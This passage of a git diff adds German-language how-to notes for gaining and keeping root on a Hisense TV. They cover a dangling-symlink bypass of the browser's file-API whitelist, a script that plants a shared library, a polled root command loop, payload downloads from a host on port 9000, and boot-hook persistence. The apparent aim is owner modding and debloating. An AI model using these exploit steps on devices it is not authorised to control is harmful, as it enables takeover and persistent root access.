+fileXHR("file:///3rd_rw/appdata/root_out.txt"); + +// Schreiben (Text; binär => EINVAL) +HiBrowser.File.write("root_cmd.sh", "id\n", 1); + +// Binär schreiben (byte-exakt, curl) +HiBrowser.File.download("http://:9000/pub/x", "x", 1); + +// Root-Befehl ausführen (Loop läuft als root) +HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/verify.sh\n", 1); +``` + +**Whitelist (wichtigste Regel):** Schreiben/Download geht nur relativ zu +`/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data` — oder über den +dangling ext4-USB-Symlink-Bypass. Details: `fileapi-permissions.md`. + +**Rettungsweg:** SSH `root@192.168.188.94` (Dropbear, key-only). Nie wegwerfen. diff --git a/skills/fileapi-permissions.md b/skills/fileapi-permissions.md new file mode 100644 index 0000000..bbc8133 --- /dev/null +++ b/skills/fileapi-permissions.md @@ -0,0 +1,65 @@ +# Skill: File-API & Schreibrechte (`HiBrowser.File`) + +## Wo die API läuft + +Zwei Root-Webprozesse, beide UID/GID 0, volle `CapEff`, kein Seccomp: + +- **`hisense_browser`** (Web-Browser, DevTools 9224): `--allow-file-access-from-files`. + Hier läuft unser Recon (`recon.html`). Hat `HiBrowser.*`, `Hisense_*`, `File`. +- **`hisenseUI`** (TV-UI, DevTools 9223): `--disable-web-security`. Andere Globals + (`Hisense_*`/`TVAPI`/`guijs`/`model`), Signaturen im DevTools prüfen. + +## Schreib-/Lese-Primitive + +| Aufruf | Semantik | Binär? | +|---|---|---| +| `HiBrowser.File.write(name, text, 1)` | Text schreiben (relativ zu Whitelist-Root) | **nein** → `EINVAL` (22) | +| `HiBrowser.File.download(url, target, 1)` | Datei byte-exakt holen (curl), auch `file://` | **ja** | +| `HiBrowser.File.read(rel, flag)` / global `File.read` | Text lesen | — | +| `fileXHR("file://")` | XHR-GET auf `file://`, liest Datei/Verzeichnis | Text | + +Verzeichnis-Listing: `fileXHR("file:///")` liefert HTML mit +`addRow(name, size, isDir)` → `listDir()` in `recon.html`. + +## Whitelist (`IsSubDentry`) + +Schreiben/Download erlaubt **nur** relativ zu diesen Präfixen: + +``` +/3rd_rw/appdata +/dev/shm/shm_tmp +/3rd/launcher/data +``` + +Prüfung: `realpath` + Präfix-Vergleich, **kein Trailing-Slash**. Pfad außerhalb +→ Fehler. + +## Symlink-Bypass (darf überall hin schreiben) + +Ein **dangling Symlink** auf einem **ext4-USB-Stick** durchbricht die Whitelist: + +1. TV mountet den Stick als `/mnt/usb/` (JS-Sicht) = + `/dev/shm/shm_tmp/mnt/usb/` (real). **Der Elternpfad liegt in der Whitelist.** +2. `realpath` scheitert am fehlenden Ziel → Prüfung läuft ins Leere, Präfix passt. +3. `fopen` folgt dem Symlink und legt die Zieldatei **als root überall** an. + +```js +// plant_payload.js: schreibt libtvsysinfo.so nach /3rd_rw/loglevel/lib/ +var usb = "/mnt/usb/sda1"; +var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; // tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so +HiBrowser.File.download(location.origin + "/pub/libtvsysinfo.so", target, 1); +``` + +Bedingungen: + +- **ext4**, nicht FAT32 (keine Symlinks). Kernel 3.18: `mkfs.ext4 -O ^64bit,^metadata_csum`, + MBR + Partition (kein Superfloppy). +- Symlink **muss dangling bleiben** (Ziel existiert noch nicht). + +## Fallstricke + +- `File.write` mit Binärdaten → `EINVAL`. Binär immer `File.download`. +- `HiBrowser.loadLibrary` lädt nichts (Dead End) — nicht als API verwenden. +- `UNVERIFIED`: exakte `Hisense_*`-Signaturen der UI; `File.read`-Flag-Semantik je Prozess. + +Siehe: `../modding/03-ui.md`, `../modding/06-toolchain-deploy.md`, `../dead-ends.md`. diff --git a/skills/payload-deploy.md b/skills/payload-deploy.md new file mode 100644 index 0000000..9a7da9b --- /dev/null +++ b/skills/payload-deploy.md @@ -0,0 +1,27 @@ +# Skill: Payload-Deploy (Dateien auf den TV) + +Kein Package Manager (kein apt/opkg/…). Binaries/Skripte kommen als +**statische ARM-Binaries** (ARMv7, glibc 2.18, Kernel 3.18) auf den TV. + +## Wege + +| Weg | Für | Beispiel | +|---|---|---| +| `File.download` | Binär (byte-exakt) | `HiBrowser.File.download("http://:9000/pub/x","x",1)` | +| `File.write` | Text (Skripte/JSON) | `HiBrowser.File.write("x.sh","id\n",1)` | +| Root-Loop | als root ausführen | `root_cmd.sh` → `root_out.txt` | +| SSH + base64 | Binär | `base64 -w0 x \| ssh root@TV 'base64 -d > /3rd_rw/bin/x'` | +| SSH + tar | viele Dateien | `tar czf - d \| ssh root@TV 'tar xzf - -C /3rd_rw'` | +| USB | Dateien auf ext4-Stick | `/mnt/usb/` | +| scp/sftp | nach SFTP-Install | `scp f root@TV:/3rd_rw/...` | + +## Regeln + +- rw-Partitionen: `/3rd_rw`, `/data`, `/perm`. Rootfs & `/3rd` sind squashfs-**ro** → + ro-Dateien via `mount --bind` aus `/3rd_rw` ersetzen (kein overlayfs). +- `File.download`-Ziel muss in der Whitelist liegen oder Symlink-Bypass nutzen + (siehe `fileapi-permissions.md`). +- Builds reproduzierbar: `../root/scripts/host/build_dropbear.sh`, + `build_sftp_server.sh`, `build_payload.sh`; Checks `sha256sum -c SHA256SUMS`. + +Siehe: `../modding/06-toolchain-deploy.md`, `../modding/01-system-linux.md`. diff --git a/skills/root-execution.md b/skills/root-execution.md new file mode 100644 index 0000000..9b7ad39 --- /dev/null +++ b/skills/root-execution.md @@ -0,0 +1,45 @@ +# Skill: Root-Ausführung & Persistenz + +## Root-Loop (Kommando-Kanal) + +`/3rd_rw/appdata/root_loop.sh` läuft als root, pollt `root_cmd.sh`, führt aus, +schreibt `root_out.txt`. + +```js +HiBrowser.File.write("root_cmd.sh", + "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1); +// ~2-5 s warten: +fileXHR("file:///3rd_rw/appdata/root_out.txt"); // uid=0(root), CapEff=0000003fffffffff +``` + +Fertiges Snippet: `../root/scripts/host/run_root_cmd.js`. + +## SSH (Rettungsweg) + +- Dropbear, **key-only** root, Port 22. `ssh root@192.168.188.94`. +- SFTP/`scp` erst nach `../root/scripts/host/install_sftp.sh` (statischer + OpenSSH-sftp-server, Test 2222 → 22). Vorher: `ssh`+`base64`/`tar`/`File.download`. +- PTY-Gotcha: `/dev` ist statisch-ro (kein devtmpfs). `mount -t devpts` auf + `/dev/shm/pts` + `bind /dev/pts`; `/etc/passwd`-Bindmount nötig (Root-Home `/basic` ro). + +## Persistenz (Boot-Hooks) + +| Hook | Zeitpunkt | Datei | +|---|---|---| +| Früher Root-Hook | vor ms_service/hisenseUI/app_man/delayrun | `/3rd_rw/developer.sh` (Zeile 90) | +| Später Wrapper | nach ~15 s | `/3rd_rw/hamservice/HamService` (`hamservice-wrapper.sh`) | + +Fehler in `developer.sh` kann Boot/UI stören → `set -x`+Log, SSH als Fallback. + +## App-/Service-Steuerung (AM) + +```js +HiBrowser.System.startApp(":am,,:start="); +HiBrowser.System.startApp(":am,opera4x,:URL=http://:9000/recon.html"); +HiBrowser.System.startApp(":am,opera4x,:stop=opera4x"); +``` + +- UI-Kontext: `Hisense_StartApp(...)` (Signatur `UNVERIFIED`, im DevTools prüfen). +- `startApp` kennt **kein** exec/run/args (Dead End). + +Siehe: `../root/ROOT-GUIDE.md`, `../modding/02-boot.md`, `../modding/06-toolchain-deploy.md`. diff --git a/skills/ui-launcher-bloat.md b/skills/ui-launcher-bloat.md new file mode 100644 index 0000000..c50befa --- /dev/null +++ b/skills/ui-launcher-bloat.md @@ -0,0 +1,42 @@ +# Skill: UI / Launcher / Bloat + +Sicherster Einstieg = eigene App-Tile (reversibel, UI bleibt heil). Danach +Launcher-Daten, erst zuletzt die UI-Seite selbst. + +## Route A — eigene App-Tile (sicher) + +`/3rd_rw/appdata/launcher/Appinfo.json` (JSON-Array) um ein Web-App-Objekt +erweitern; `File.write` (Text) oder SSH. Template: `../modding/templates/custom-app.json`. + +## Route B — UI-Seite ersetzen (riskant) + +`/3rd_rw/UI/index.html` (PIXI-UI). **Vorher Backup**, SSH/Web-Browser als +Rettungsweg, `hisenseUI`-Prozess danach neu starten. Templates: +`../modding/templates/custom-ui.html` + `start-UI-custom.sh`. + +## Route C — Launcher-Daten / Tiles + +- `preset.txt` — 26 Preset-Tiles +- `deletedPresetApp.txt` — JSON-Array ausgeblendeter Tiles (`[]` = alle sichtbar) +- `Appinfo.json` — selbst installierte Apps +- `data/Category*.xml`, `CategoryList_*.xml`, `PicInfo.xml` — Kategorien/App-Daten + +Template: `../modding/templates/hide-preset.json`. + +## Bloat (kein Flash) + +- Tiles ausblenden: `deletedPresetApp.txt`. +- Native Apps/Services: `/basic/am_start.ini`, `/basic/am_config`, + `/basic/delayrun.sh`, Stubs in `/3rd_rw/developer.sh` (`../modding/05-bloat.md`). +- Was gefahrlos deaktivierbar ist → Matrix in `../modding/05-bloat.md`. + +## Service-Stub + +`../modding/templates/developer.sh` — früher Root-Hook, eigener Service/Binary. + +## Warnung + +`/3rd_rw/patch/opera4x` ist ein **full bind mount** über `/3rd/opera4x` (ersetzt +alles). Für Einzeldateien lieber `developer.sh` + Datei-Bind-Mount. + +Siehe: `../modding/03-ui.md`, `../modding/04-modding.md`, `../modding/05-bloat.md`. diff --git a/sources/dropbear-2022.83.tar.bz2 b/sources/dropbear-2022.83.tar.bz2 new file mode 100644 index 0000000..803f856 Binary files /dev/null and b/sources/dropbear-2022.83.tar.bz2 differ diff --git a/sources/openssh-9.9p1.tar.gz b/sources/openssh-9.9p1.tar.gz new file mode 100644 index 0000000..ca34ba1 Binary files /dev/null and b/sources/openssh-9.9p1.tar.gz differ